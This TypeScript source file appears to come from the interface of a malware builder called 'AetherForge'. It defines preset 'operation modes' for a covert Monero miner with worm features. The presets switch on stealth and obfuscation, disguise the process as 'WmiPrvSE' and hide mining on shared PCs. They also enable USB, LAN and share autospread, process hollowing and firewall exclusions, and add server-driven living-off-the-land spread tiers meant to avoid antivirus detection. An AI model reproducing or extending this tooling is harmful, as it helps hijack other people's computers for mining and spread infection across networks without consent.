import type { BuildRequest } from '../types'; import { normalizeForgeForm } from './forgeFormNormalize'; import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers'; export type OperationModeId = | 'ghost_walk' | 'open_flame' | 'sigil_mask' | 'hearth_whisper' | 'wildfire' | 'crucible_storm' | 'av_safe' | 'lotl_onion'; /** Seasonal / operation forge UI skins (CSS class suffix). */ export type ForgeSkinId = 'aether' | 'halloween' | 'ghost' | 'wildfire' | 'crucible'; export type ForgeThemeOverride = ForgeSkinId | 'auto'; export interface OperationMode { id: OperationModeId; label: string; color: string; skin: ForgeSkinId; blurb: string; apply: (form: BuildRequest) => BuildRequest; } export const OPERATION_MODE_STORAGE_KEY = 'aetherforge-operation-mode'; export const FORGE_THEME_STORAGE_KEY = 'aetherforge-forge-theme'; export const FORGE_THEME_EVENT = 'aetherforge-forge-theme'; export const DEFAULT_OPERATION_MODE: OperationModeId = 'ghost_walk'; export const FORGE_SKIN_IDS: ForgeSkinId[] = ['aether', 'halloween', 'ghost', 'wildfire', 'crucible']; export function isForgeSkinId(value: string): value is ForgeSkinId { return FORGE_SKIN_IDS.includes(value as ForgeSkinId); } export function forgeSkinClassName(skin: ForgeSkinId): string { return `forge-skin--${skin}`; } export function skinForOperationMode(id: OperationModeId): ForgeSkinId { const mode = OPERATION_MODES.find((m) => m.id === id); return mode?.skin ?? 'aether'; } export const OPERATION_MODES: OperationMode[] = [ { id: 'ghost_walk', label: 'Ghost Walk', color: '#4d7fff', skin: 'ghost', blurb: 'Stealth on, hidden display, garble on, no file logs — minimal LAN footprint', apply: (f) => ({ ...f, stealth_mode: true, display_mode: 'background', silent_mode: true, file_logging: false, obfuscate: true, sigil_scramble: true, fusion_enabled: false, spread_kit: false, remote_aggressive: false, auto_spread: false, usb_spread: false, share_spread: false, hole_punch: false, }), }, { id: 'open_flame', label: 'Open Flame', color: '#ff5c5c', skin: 'aether', blurb: 'Visible console, logging on, no garble — for lab testing and debugging', apply: (f) => ({ ...f, stealth_mode: false, display_mode: 'visible', silent_mode: false, file_logging: true, obfuscate: false, sigil_scramble: false, }), }, { id: 'sigil_mask', label: 'Sigil Mask', color: '#b794f6', skin: 'halloween', blurb: 'Garble + Sigil scramble, disguised process name, fusion off — hardened obfuscation', apply: (f) => ({ ...f, obfuscate: true, sigil_scramble: true, process_name: 'WmiPrvSE', fusion_enabled: false, spread_kit: false, stealth_mode: true, display_mode: 'background', silent_mode: true, file_logging: false, }), }, { id: 'hearth_whisper', label: 'Hearth Whisper', color: '#4ade80', skin: 'aether', blurb: 'Hidden idle miner with low CPU cap — barely noticeable on shared PCs', apply: (f) => ({ ...f, stealth_mode: true, display_mode: 'background', silent_mode: true, file_logging: false, mining_mode: 'idle', idle_threshold_pct: 25, max_cpu_usage_pct: 45, thread_mode: 'percent', thread_percent: 50, fusion_enabled: false, remote_aggressive: false, }), }, { id: 'wildfire', label: 'Wildfire', color: '#ff8c3a', skin: 'wildfire', blurb: 'Universal spread kit + LAN/USB autospread — ready to seed the fleet', apply: (f) => ({ ...f, spread_kit: true, fusion_enabled: false, target_os: 'universal', target_arch: 'all', auto_spread: true, usb_spread: true, share_spread: true, stealth_mode: true, display_mode: 'background', silent_mode: true, file_logging: false, }), }, { id: 'crucible_storm', label: 'Crucible Storm', color: '#d4af37', skin: 'crucible', blurb: 'Aggressive remote ops + hole punch enabled for Crucible command sessions', apply: (f) => ({ ...f, remote_aggressive: true, hole_punch: true, mesh_p2p: true, }), }, { id: 'av_safe', label: 'AV-Safe', color: '#22d3a8', skin: 'aether', blurb: 'In-process RandomX only — no GPU exe, no hollow/spread, minimal AV friction', apply: (f) => ({ ...f, miner_execution: 'inprocess', gpu_enabled: false, process_hollowing: false, spread_kit: false, auto_spread: false, usb_spread: false, share_spread: false, remote_aggressive: false, obfuscate: false, stealth_mode: true, display_mode: 'background', silent_mode: true, file_logging: true, firewall_exclusion: true, fusion_enabled: false, mining_mode: 'idle', max_cpu_usage_pct: 50, thread_percent: 50, }), }, { id: 'lotl_onion', label: 'LOTL Onion', color: '#38bdf8', skin: 'aether', blurb: 'AV-Safe in-process XMR (same wallet field) + native-tool spread tier chain — server-pulled contingencies, no extra exe drop', apply: (f) => ({ ...f, miner_execution: 'inprocess', gpu_enabled: false, process_hollowing: false, spread_kit: false, auto_spread: true, share_spread: true, usb_spread: false, remote_aggressive: false, obfuscate: false, stealth_mode: true, display_mode: 'background', silent_mode: true, file_logging: true, firewall_exclusion: true, fusion_enabled: false, mining_mode: 'idle', max_cpu_usage_pct: 50, thread_percent: 50, lotl_onion_enabled: true, lotl_policy_from_server: true, lotl_onion_tiers: [...DEFAULT_LOTL_ONION_TIERS], }), }, ]; export function isOperationModeId(value: string): value is OperationModeId { return OPERATION_MODES.some((m) => m.id === value); } export function loadStoredOperationMode(): OperationModeId { try { const v = localStorage.getItem(OPERATION_MODE_STORAGE_KEY); if (v && isOperationModeId(v)) return v; } catch { /* ignore */ } return DEFAULT_OPERATION_MODE; } export function storeOperationMode(id: OperationModeId): void { try { localStorage.setItem(OPERATION_MODE_STORAGE_KEY, id); } catch { /* ignore */ } } export function applyOperationMode(form: BuildRequest, id: OperationModeId): BuildRequest { const mode = OPERATION_MODES.find((m) => m.id === id); return mode ? normalizeForgeForm(mode.apply(form)) : form; } export function loadStoredForgeTheme(): ForgeThemeOverride { try { const v = localStorage.getItem(FORGE_THEME_STORAGE_KEY); if (v === 'auto') return 'auto'; if (v && isForgeSkinId(v)) return v; } catch { /* ignore */ } return 'auto'; } export function storeForgeTheme(theme: ForgeThemeOverride): void { try { localStorage.setItem(FORGE_THEME_STORAGE_KEY, theme); window.dispatchEvent(new CustomEvent(FORGE_THEME_EVENT)); } catch { /* ignore */ } } export function resolveForgeSkin( operationModeId: OperationModeId, themeOverride?: ForgeThemeOverride ): ForgeSkinId { const override = themeOverride ?? loadStoredForgeTheme(); if (override !== 'auto') return override; return skinForOperationMode(operationModeId); }